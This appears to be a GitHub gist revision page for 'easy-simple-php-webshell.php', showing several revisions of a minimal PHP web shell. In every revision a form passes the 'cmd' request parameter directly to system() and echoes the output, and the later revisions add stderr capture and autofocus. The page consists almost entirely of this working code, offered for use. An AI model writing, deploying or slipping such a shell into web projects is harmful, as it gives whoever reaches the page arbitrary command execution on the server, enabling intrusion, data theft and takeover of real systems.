Skip to content

Instantly share code, notes, and snippets.

@joswr1ght
Last active October 20, 2025 13:50
Show Gist options
  • Save joswr1ght/22f40787de19d80d110b37fb79ac3985 to your computer and use it in GitHub Desktop.
Save joswr1ght/22f40787de19d80d110b37fb79ac3985 to your computer and use it in GitHub Desktop.

Revisions

  1. joswr1ght revised this gist Jul 5, 2024. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion easy-simple-php-webshell.php
    Original file line number Diff line number Diff line change
    @@ -8,7 +8,7 @@
    <?php
    if(isset($_GET['cmd']))
    {
    system($_GET['cmd']);
    system($_GET['cmd'] . ' 2>&1');
    }
    ?>
    </pre>
  2. joswr1ght revised this gist Jun 29, 2021. 1 changed file with 1 addition and 2 deletions.
    3 changes: 1 addition & 2 deletions easy-simple-php-webshell.php
    Original file line number Diff line number Diff line change
    @@ -1,7 +1,7 @@
    <html>
    <body>
    <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
    <input type="TEXT" name="cmd" id="cmd" size="80">
    <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
    <input type="SUBMIT" value="Execute">
    </form>
    <pre>
    @@ -13,5 +13,4 @@
    ?>
    </pre>
    </body>
    <script>document.getElementById("cmd").focus();</script>
    </html>
  3. joswr1ght revised this gist Jul 15, 2019. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion easy-simple-php-webshell.php
    Original file line number Diff line number Diff line change
    @@ -6,7 +6,7 @@
    </form>
    <pre>
    <?php
    if($_GET['cmd'])
    if(isset($_GET['cmd']))
    {
    system($_GET['cmd']);
    }
  4. joswr1ght created this gist Dec 1, 2017.
    17 changes: 17 additions & 0 deletions easy-simple-php-webshell.php
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,17 @@
    <html>
    <body>
    <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
    <input type="TEXT" name="cmd" id="cmd" size="80">
    <input type="SUBMIT" value="Execute">
    </form>
    <pre>
    <?php
    if($_GET['cmd'])
    {
    system($_GET['cmd']);
    }
    ?>
    </pre>
    </body>
    <script>document.getElementById("cmd").focus();</script>
    </html>